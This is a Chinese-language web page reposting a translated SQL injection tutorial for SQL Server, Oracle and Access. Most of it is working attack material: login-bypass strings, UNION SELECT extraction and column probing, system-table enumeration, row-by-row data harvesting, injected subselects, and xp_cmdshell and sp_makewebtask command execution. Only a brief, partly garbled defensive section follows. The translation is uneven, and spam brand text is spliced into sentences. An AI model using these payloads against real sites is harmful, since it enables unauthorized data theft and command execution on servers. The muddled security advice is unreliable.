sql概述及在网络安全中的应用 -凯发k8官方网
想必大家都知道sql是什么,但是你真正的了解sql在网络安全中的应用吗? 这里给大家详细的讲述一下sql在网络安全中的应用
1.网络应用和sql注射
1.1概述
有些网络数据库没有过滤客户提供的数据中可能有害的字符,sql注射就是利用插入有害字符进行攻击的技术。尽管非常容易防范,但因特网上仍然有惊人数量的存储系统容易受到这种攻击。这篇文章的目的是指导专业安全组织了解这种技术,并告诉他们正确的,用来防范sql注射的办法,以及处理各种常见的,由于非法输入引起的问题.
1.2背景
在读这篇文章之前,你应该对数据库如何工作,以及sql如何被用来访问数据库有一些基础的了解。我建议您阅读extropia.com的文章“introduction to databases for webdevelopers”。
(网址:http://www.extropia.com/tutorials/sql/toc.html)
1.3字符编码
在大多数的网络浏览器中,标点符号和许多其它符号在用于一个网络请求前需要把url编码,以便被适当地编译(interpret)。在本文中的例子和截图中我使用了固定的ascii字符以保证最大的可读性。然而,在实际应用中,你需要在http请求中用%来代替百分号(%),用+来代替加号( )等等。。。
2.易损性的测试(testing for vulnerability)
2.1综合测试
彻底地检测一个网络请求是否容易被sql注射比一个可能的猜测(might guess)需要耗费更多的精力。当你把一个单引号放进一个脚本的第一个参数值时,服务器返回一个空白的网页,上面除了odbc错误以外什么都没有.显然这种情况直接反映出web程序存在漏洞,但通常都不是这样的,如果你没有注意细节的话,很容易忽略掉一个看上去完美,其实很脆弱的脚本。
服务器上每一个脚本中的每一个参数都应该被检测。开发者和开发组织之间可能很不一致。设计脚本a的程序员也许和脚本b的开发毫无关系,所以,其中一个也许对sql注射免疫,而另外一个可能不会。事实上,设计脚本a里的函数a的程序员也许和脚本a里的函数b的开发毫无关系,所以脚本a里的一个参数也许对sql注射是脆弱的,而另外一个参数却不一定,即使整个网络请求是由一个程序员来构想,设计,编写及测试的,在成千上万的脚本中的参数中,由于某种原因,设计者忘了检验某个地方的数据,所以仍有可能存在一个脆弱的参数,而且那个地方是唯一的,你永远都不能确定是哪里,所以必须测试所有的东西。
2.2测试过程
用一个单引号和一个sql关键字(比如“where”)替代每一个参数的值(argument),每个参数都应该被单独地测试,不止那样,当你测试一个参数的时候,应该保持其它的参数不变,并用有效的数据填充它们的值(argument),it can be tempting to just delete all of the stuff that you're not working with in order to make things look simpler, particularly with applications that have parameter lines that go into many thousands of characters.
当你测试一个参数是否能被sql注射的时候,如果忽略了其它参数或者给他们一个错误的值(argument),网络请求就有可能由于其它原因而出错,这阻碍了你判断sql注射是否可行。比如,让我们假设以下是一个有效的,纯粹的(unaltered)参数行:
contactname=maria anders&companyname=alfreds futterkiste
并且它返回一个odbc错误:
contactname=maria anders&companyname=' or
如果我们这样检测:
companyname='
可能只会给你一个错误告诉你需要指定一个contactname值。
这行:
contactname=badcontactname&companyname='
可能返回同样的页面,因为请求根本没有指定contactname。或者,它可能返回你站点默认的凯发k8官方网主页。或者,可能它找不到指定的contactname,或者web程序认为没有必要看companyname,所以它甚至根本不把这个参数值认为是一个sql声明,或者,它可能给你一些完全不同的东西,所以,当检测sql注射的时候,记得总是用完整的参数行,并且除了你正在检测的那个参数外,还要给其它所有的参数一个合法的值。
2.3分析结果
如果你得到一个数据库服务器返回的某些错误信息,那么sql注射显然是存在的.然而,数据库错误信息不一定总是明显的(有时候编写程序的人可能做一些奇怪的事情),所以,你应该顺便看看每个可能的地方来确认注射是否成功,首先你应该从返回的页面上的所有资源中找寻像"odbc", "sql server", "syntax"等的短语,更多的信息可能含在http的头部,隐藏的输入...。我曾见过某些存储系统上的网络请求返回的错误信息中,在http回复的body中完全没有任何信息,但在头部中却有数据库错误信息。为了调试和qa的目的,很多网络请求都内嵌了这种特征,然而到最后发表前却忘了把它们去处掉或使之无效。
你不只要注意即时返回的页面,同样链接页面也要看,在最近的一次pen-test中,我看到一个网络请求被sql注射攻击后,返回了一个类错误信息页面,点击错误旁边的停止标志图片,链接到了另外一个满是sql服务器错误信息的页面。
另一个应该密切注意的是302页面重定向,在你有机会注意到它之前,你可能就无奈的离开了一个含有数据库错误信息的页面.
请注意即使你真的得到了一个odbc错误信息回复,sql注射仍有可能成功,很多时候(lots of the time)你得到一个properly formatted, seemingly类错误消息页面,告诉你"an internal server error" 或者 "problem processing your request."
有些网络请求被设计成一旦出现任何的错误,客户都返回到站点的凯发k8官方网主页面。如果你得到一个500错误页面,很有可能注射就出现了,很多站点都有一个默认的500服务器内部错误页面来说明服务器正在维护中,或礼貌的让用户把他们的请求email给站点的维护人员。这就有可能用procedure techniques来利用这些站点,这将在后面讨论。
3.1绕过验证
最简单的sql注射技术是绕过基于表单的登陆.让我们假设某个网络请求的代码如下:
sqlquery = "select username from users where username = '" & strusername & "' and password = '" & strpassword & "'"
strauthcheck = getqueryresult(sqlquery)
if strauthcheck = "" then
boolauthenticated = false
else
boolauthenticated = true
end if
当一个用户提交了一个用户名和密码后,查询(query)将搜索users表单来看是否其中有一行中所包含的用户名和密码与用户提供的相同,如果找到了那么一行,则用户名被储存到变量strauthcheck中,同时说明该用户应该被鉴定,如果没有找到那么一行,则strauthcheck变量保持为空,同时该用户不被鉴定。
如果strusername和strpassword变量可以包含任何你要的字符,你可以修改当前的sql查询结构,那样即使你不知道有效的用户名和密码,你仍何以得到一个有效的name,它是如何实现的呢?让我们假设用户像下面那样填充了一个登陆表单:
login: ' or ''='
password: ' or ''='
这将给sqlquery以下值:
select username from users where username = '' or ''='' and password = '' or ''=''
请求并不把用户提交的数据与现存的users表单做比较,而是直接比较''和'',显然它总是返回true,(注意nothing和null是有区别的)由于where语句中的所有验证条件都符合了,用户名将使用表单中搜索到的第一行中的那个,接着用户名将被传递给变量strauthcheck,这样我们的效力就得以保证。使用single result cycling技术,也有可能使用另外一行的数据,这将在以后讨论。
3.2 select
对于另一些情况而言,你必须根据查询那些有缺陷的web程序返回的结果,来判断和调整你提交的sql查询字符串,以便搞定服务器.
3.2.1 直接利用单引号
你将面临的第一个错误是语句结构错误.一个结构错误表明sql查询的语句结构存在缺陷.首先你应该明白,在没有编码引号的情况下, 插入脚本攻击是否可以成功.
直接sql注射的时候,无论你提交什么语句都会被不加任何改变地应用于sql查询中.试着提交参数的时候,先输入合法的值,然后在其后添加一个空格和一个or,如果服务器产生了错误,那么直接sql注射是可能的.提交的值可以是任何where子句中用到的值,例如:
sqlstring = "select firstname, lastname, title from employees where employee = " & intemployeeid
或者是紧跟于一个sql关键字,例如表名或者表里的栏目名,比如
sqlstring = "select firstname, lastname, title from employees order by " & strcolumn
所有其他的例子都是引号注射,在一个存在引号插入漏洞的程序里面, 任何一个你提交的参数,系统都会在前面和后面添加一个引号,就像这样:
sqlstring = "select firstname, lastname, title from employees where employeeid = '" & strcity & "'"
为了能(break out)打破这引号,并伪造一个正确的查询,在你的sql注射字符串中的sql关键字之前必须包含一个单引号,而且在where子句的后面也需要加上一个单引号.现在我们来谈谈"欺骗"的问题.是的,sql server会忽视在";--"后面的任何东西,但是只有ms的sql server会这样做.我们最好学习如何处理这个问题,这样我们在面对oracle,db/2,mysql 和他种类的数据库服务器的时候就知道怎么做了.
select查询被用于从数据库中获取信息.大多数的web应用程序通过select向数据库获取信息候再动态地在页面上显示出来.通常,数据库查询这部分你可以自己伪造,他将成为where子句的一部分.我们可以通过插入union select来绕过web程序允许我们查询的数据,从而得到其它的数据.联合查询(指union select)允许在一条语句中使用多个select查询,看上去就像这样:
select companyname from shippers where 1 = 1 union all select companyname from customers where 1 = 1
它返回的结果中包含了第一个查询和第二个查询的结果,"all select"这里的all是必须的,这样可以逃过select distinct语句的限制并且不会妨碍别的(??),所以最好是使用它.你必须确认第一个查询,即web应用程序编写者希望执行的那个被执行,不返回任何记录.这并不难.举个例子,有这么一个表达式:
sqlstring = "select firstname, lastname, title from employees where city = '" & strcity & "'"
我们构造如下的插入串:
' union all select otherfield from othertable where ''='
这将导致如下的sql查询语句被提交给sql server:
select firstname, lastname, title from employees where city = '' union all select otherfield from othertable where ''=''
让我们看看会发生什么:数据库搜索employees表,查找city被设置为null的那一行,由于它找不到哪一行city是null,所以它不会返回任何记录,只有我们inject的查询才会返回记录.在一些情况下,使用null不能成功,因为表里的却存在
有null的项.在这种情况下,你要做的就是构造一个表中不存在的值,你只要输入一些不普通的值...最好是对照那些正常的值,当数据库需要一个自然数时,0或者负数都工作得很好,对于一个文本参数,简单的用"nosuchrecord","notintable"或更常见的"sjdajdhajsh",只要它不返回记录就好.
如果所有的web应用程序使用的sql查询都像上面这些那么简单就好了,可惜这不可能: ].按照各个编程者习惯和查询表达式编写方式的不同,你sql注射时可能会遇到各种困难.
3.2.3 利用结构错误查询表单
一些数据库服务器返回的错误信息中包含了一部分格式错误消息,你可以通过分析这些片断来构造你提交的injection语句,有些你提交的字符串会返回有用的信息,有的却不会,这主要是以来于web应用程序中sql查询语句是如何设计的.下面这些是我推荐你尝试的字符串:
'
badvalue'
'badvalue
' or '
' or
;
9,9,9
通常这些字符串中的一些会返回相同的信息,或者根本不返回信息.但是有例子告诉我们,可能有的信息只有用他们中的一个才能得到,所以你最好提交字符串的时候,把他们都试一遍.
3.2.4 圆扩弧
如果有缺陷的查询语句中包含圆扩弧'(' (就像下面将会举的例子那样),或者返回的错误信息里显式地提醒你缺了'('号(oracle这么做),那么你应该在你提交的sql注射字符串中加入'('号.通常在where子句后面加一个括号,但是在一些情况下,你需要加2个或者更多的括号.
下面是parenthesis.asp的源码:
mysql="select lastname, firstname, title, notes, extension from employees where (city = '" & strcity & "')"
我们插入如下的值:
"') union select otherfield from othertable where (''='"
那么传送给sql server的语句就变成了这样:
select lastname, firstname, title, notes, extension from employees where (city = '') union select otherfield from othertable where (''='')
3.2.5 like语句查询
另一个大的灾难是陷入一个like子句的陷阱.(seeing the like keyword or percent signs cited in an error message are indications of this situation.)大多数的web搜索程序使用like子句来查询数据库,比如下面这个:
sqlstring = "select firstname, lastname, title from employees where lastname like '%" & strlastnamesearch & "%'"
这里面的%是通配符,在这个例子里,where子句会返回true,只要lastname里有字符串含有strlastnamesearch.为了阻止sql server返回预计中的记录,你构造的sql语句里必须含有lastname里没有的字符串.web搜索程序搜索的字符串来自于用户的输入.通常有一个'和一个%在输入的字符串之前,因此我们构造字符串时,需要在where子句中匹配它们.如果你提交了null作为搜索字符串,那么like的参数会变成"%%",这是一个全匹配,会返回所有的记录.
3.2.6 “死胡同”
大部分的时候sql injection都要伴随着大量失败的实践,如果你发现你无论如何都不能插入相关的语句,并且无论你怎么做都不对,这个时候你就要判断自己是否掉进了一个死胡同,很多时候遇到这种情况你很可能是在一个多重嵌套的where和select子句的语句中,或者一些更加复杂的多重嵌套,连使用“;--”都没有用,所以自己要小心和避免在这种地方停留。
3.2.7 列的数目不匹配问题
如图所示,我们可以从几次错误中得到很多有用的信息,并且加以调整自己的请求语句,这种信息多了,那就意味着我们离成功不远了。在猜列名时,如图所示,我们提交语句后会碰到以下错误“在union语句中的所有查询都必须在目标列表中具有相同数目的表达式”,这就是说你需要找出或者说是探测出在合法的请求中有多少个列。
这里我解释一下,union 语句是用来将两个不同的查询结果集相加得到一个结果集,union使用的唯一要求是两个查询的信息(你的查询语句)必须有相同的列数和相同的数据类型
我举个例子,web程序中有如下语句:
sqlstring= "select firstname,lastname,employeeid from employees where city ='"&strcity"'"
合法的select语句和我们注入的union select语句在where子句中都要有相同的列。就上面的语句来说,如果我要加入union 语句的话,前后两者都要有3个列。并且他们列的数据类型也要相互匹配才可以。如果firstname这个值是字符串类型的,那么在你注入的语句中所对应的值也应该是字符串类型的。一些数据库,如oracle,是对类型检查非常严格的。其他的数据库相对要好一些,允许你输入任何数据类型并且它会自动的把你输入错误的数据类型转换成正确的。比如sql数据库中,你在varchar类型的地方输入数值类型的数据(如int)是不会报错的,因为在这里数值类型会被自动转为字符串类型。但是如果在smallint列处输入text类型则被认为是非法的,因为text类型不能被转换成int类型。把数值类型的数据转换成字符串型是被允许的,而反之则不行,所以默认都是使用数值类型的数据。
要想知道我们要注入的目标语句中有多少个列,你就要试探性的往union select子句中添加相应的值,直到它不报“在union语句中的所有查询都必须在目标列表中具有相同数目的表达式”这样的错为止。如图所示,如果你遇到的是数据类型不匹配的错误,那么你要去改变列的数据类型。如果返回消息只是一个转换数据类型失败的错误,那就说明你已经猜对了列的数目,只是其中有个别的列的数据类型不对。那么接下来要做的就是判断是哪个列的数据类型的不正确导致的错误。然后将他改过来就可以了。
如果一切顺利,那么祝贺你,你会得到一个和上面格式类似的而且是合法的页面;)无论动态页面在哪里出现,你都可以构造自己的语句应对自如。
3.2.8.where关键字
报错为“无效的列名'employeeid'”,这个问题可能是由我们注入的语句结尾的where关键字引起的,举例说明:
sqlstring="select firstname,lastname,title from employees where city='"&strcity&"'and country ='usa'"
如果我们注入的语句是union all select otherfield from othertable where 1=1 那么会得到如下的提交语句:
select firstname, lastname, title from employees where city = 'nosuchcity' union all select otherfield from othertable where 1=1 and country = 'usa'
这样就会报错:[microsoft][odbc sql server driver][sql server]无效的列名 'country'。
其实问题就是因为你注入的语句后,系统没有在从数据库的表中找到一个叫'country'的列名。我们这里可以简单的用“;--”注释符号将其注释掉(如果我们是sql server)。或者干脆继续猜其他的列名,然后构造合法请求就如我们上一节讲到的一样。
表名的枚举
我们已经开始掌握如何来使用注入进行攻击,但是我们还要确定要从哪个表得到信息,换句话说就是我们要的到关键的表名才能获得我们想要的有用信息。如何获得表名呢?在sql server中,你可以很容易得从数据库中得到全部的表名和列名。但是在oracle和access中,你就不一定能如此轻易的得到了,这要看web程序对数据库的访问权限了。关键在于是否能得到系统建立时自动生成的表中包含的表名和列名。如在sql server中,它们分别为'sysobjects'和'syscolumns',(在本文最后我们将给出其他数据库系统自建表和相应的列名)我们用以下的句子可以在这些表中列出数据库的所有列名和表名,(根据情况自行修改):
select name from sysobjects where xtype = 'u'
这句话会返回数据库中用户定义的所有表,如果我们看到我们感兴趣的或者是想要看的表,那么我们就把他打开,这里以orders为例构造语句:select name from syscolumns where id = (select id from sysobjects where name = 'orders')得到结果如图。
3.2.10.单一纪录
上面我们构造的语句返回了大量的信息,如果你只想显示一条数据纪录也是可以的。你完全可以构造你的注入语句来得到你想要的唯一的信息。我们只要在where子句中添加关键字来避免某些行的关键字被选中就可以了。我来举个列子:' union all select name, fieldtwo, fieldthree from tableone where ''='
我们这样就可以得到fieldone,fieldtwo和fieldthree的第一个值,假设我们的到的分别是"alpha", "beta"和"delta"。注意,更有意思的来了,我们要得到第2行的值,怎么构造下面的语句呢?这样来:' union all select fieldone, fieldtwo, fieldthree from tableone where fieldone not in ('alpha') and fieldtwo not in ('beta') and fieldthree not in ('delta') and ''='
这里有一个子句“not in values”,它的作用是不再返回我们已经得到的信息,即不是alpha,不是beta,不是delta.既然都不是,数据库就会傻乎乎的告诉我们第二行的值。我们再假设我们得到第二行的值为"alphaalpha", "betabeta"和"deltadelta"。
我们来获得第三行的值,构造语句如下:' union all select fieldone, fieldtwo, fieldthree from tableone where fieldone not in ('alpha', 'alphaalpha') and fieldtwo not in ('beta', 'betabeta') and fieldthree not in ('delta', 'deltadelta') and ''='
这样就避免了得到第一次和第二次我们已经得到的值,我们就这样试下去会得到数据库中所有的值。这看起来好像确实比较麻烦,但在这里却是最有效的,不是么?
3.3 插入
3.3.1 插入基础
关键字insert 被用于向数据库添加信息,通常使用insert主要在包括用户注册,论坛,添加商品到购物车,等等。检查insert使用的弱点和检查where一样。你可能不想使用insert,如何避免被利用弱点是一个重要的考虑问题。insert注入尝试常常会让数据库以行形式返回结果导致泛滥的单独的引用和sql关健字的意义可能改变.取决于管理员的注意和信息对数据库的操作,这个是要引起注意的,刚刚说过的那些,insert注入和select注入的不同。我们在一个允许用户进行各种注册,这就提供了一个你输入你的名字,地址,电话等等的表单。在你提交了这个表单之后,为了得到进一步的insert的弱点,你必须能够看到你提交的信息。它在那里不要紧。可能当你登陆根据在数据库里存储的名字的给予你权利的时候,可能在发送你的spam邮件的。。,谁知道,寻找一个途径至少可以看到你输入的信息。
3.3.2
一个插入的请求看起来象这样:insert into tablename values ('vaule one','value two','value three') 你想可能利用一个在参数values中的子句来看到其他的数据。我们可以使用这种办法,sql的代码象这样:sqlstring ="insert into tablename values ('" & strvalueone & "', '" & strvaluetwo & "', '" & strvaluethree & "')"我们象这样填写表单:name: ' (select top 1 fieldname from tablename) ' email: phone: 333-333-3333 使sql的声明象这样 : insert into tablename values ('' (select top 1 fieldname from tablename) '', , '333-333-3333')当你到了个人设置页面查看你的使用信息,你将看到的第一个字段这个通常是用户名r如果你使不在你的subselect中使用top 1,你将得到一个错误信息说你的subselect返回了太多记录,你能查看表中所有的行,使用not in()同样的方法你可以得到单独的记录。
3.4. sql服务器存储过程利用
3.4.1 存储过程基础
4. 一个完整安装的mssql服务器有上千的存储过程。如果你能在一个后台使用mssql的网页应用程序得到sql注入,你能使用这些存储过程完成一些非凡的成果。我将讨论很少的特殊的过程。取决于网页程序使用数据库的用户,只有一些可以工作,并不是所有的用户都可以利用。第一件事你应该知道存储过程注入不能通过存储过程的返回值来确定你的注入是否成功.取决于你想完成什么,你可能不需要得到数据。你可以找到返回给你的数据的其他意义。存储过程注入比一般的查询注入要容易些,存储过程的注入的弱点利用看起来象这样。
simplequoted.asp?city=seattle';exec master.dbo.xp_cmdshell 'cmd.exe dir c:'
注意,
notice how a valid argument is supplied at the beginning and followed by a quote and the final argument to the stored procedure has no closing quote. this will satisfy the syntax requirements inherent in most quoted vulnerabilities. you may also have to deal with parentheses, additional where statements, etc.但是在这以后将不需要担心列和数据的类型的匹配。这个可能弱点的输出象程序无法返回错误信息一样。我最喜欢存储过程。
5. 3.4.2. xp_cmdshell
xp_cmdshell {'command_string'} [, no_output]
master.dbo.xp_cmdshell是存储过程的圣杯,它带来了一个问题,能够调用命令行的数据库用户的和他的运行权限,这个并不可用除非这个网页程序使用的数据库用户是sa. 运行级别为6
sp_makewebtask [@outputfile =] 'outputfile', [@query =] 'query'
6. 另外一个好的调用对象是master.dbo.sp_makewebtask,象你所看的,它是一个本地的输出文件和一个sql statement。sp_makewebtask可以查询并建立一个包含输出的网页。注意你可以象使用一个unc路径名一样使用一个本地输出。这个意思就是这个输出文件可以放有在任何一台连在internet并且有个可写的smb共享(smb请求不需要任何的身份验证)。如果有一个_blank">防火墙限制了服务器对internet,试着把输出文件放在网页目录下(你要知道或者猜测网页的目录)。同样值得注意的是引用查询可能是 包括执行其他的存储过程。making "exec xp_cmdshell 'dir c:'" 这个查询将在网页中给出"dir c:"的输出。当你进行嵌套引用的时候,记得单独的引用和双引号
4.1数据处理
所有的客户端数据可以被恶意的提交的字符或字符串清除。这些可能在所有的应用程序做到,不仅仅是使用sql查询的。stripping quotes or putting backslashes in front of them is nowhere near enough.最好的过滤数据的方式是不用规则的表达方式,使它只包括你所想要的字符类型。举个例子,下边的regxp将只能返回字母和数字,尽可能的过滤象s/[^0-9a-za-z]//g 这样的特殊字符。可能的时候尽量使用数字,在这以后只使用数字和字母。如果你需要包括各种各样的标志或标点。确信完全的把它们转换成html标记,像“"e;" or ">”。例如,一个用户提交了一个email地址只允许使用数字和字母还有"@", "_", "." 和"-"。仅仅只有这些字符可以转换成html标记。
4.2. 编写安全的web程序
这里同样有很少的特殊的sql注入规则。first, prepend and append a quote to all user input。
尽管数据使数字。其次,限制网页应用程序的数据库用户在数据库里的权限。不要给这个用户访问所有的存储过程的权利如果这个用户只需要访问一些预定义的。
这部分包括了所有在sql注入中有用的系统表,你可以在google上搜索到每一个的表的列的定义
5.1. ms sql server
sysobjects
syscolumns
5.2. ms access server
msysaces
msysobjects
msysqueries
msysrelationships
5.3. oracle
sys.user_objects
sys.tab sys.user_tables
sys.user_views sys.all_table
s sys.user_tab_columns
sys.user_constraints sys.user_triggers
sys.user_catalog
#数据库技术转载于:https://www.cnblogs.com/netcorner/archive/2007/10/27/2912270.html
总结
以上是凯发k8官方网为你收集整理的sql概述及在网络安全中的应用的全部内容,希望文章能够帮你解决所遇到的问题。
- 上一篇:
- 下一篇: f41g-ut 安装windows se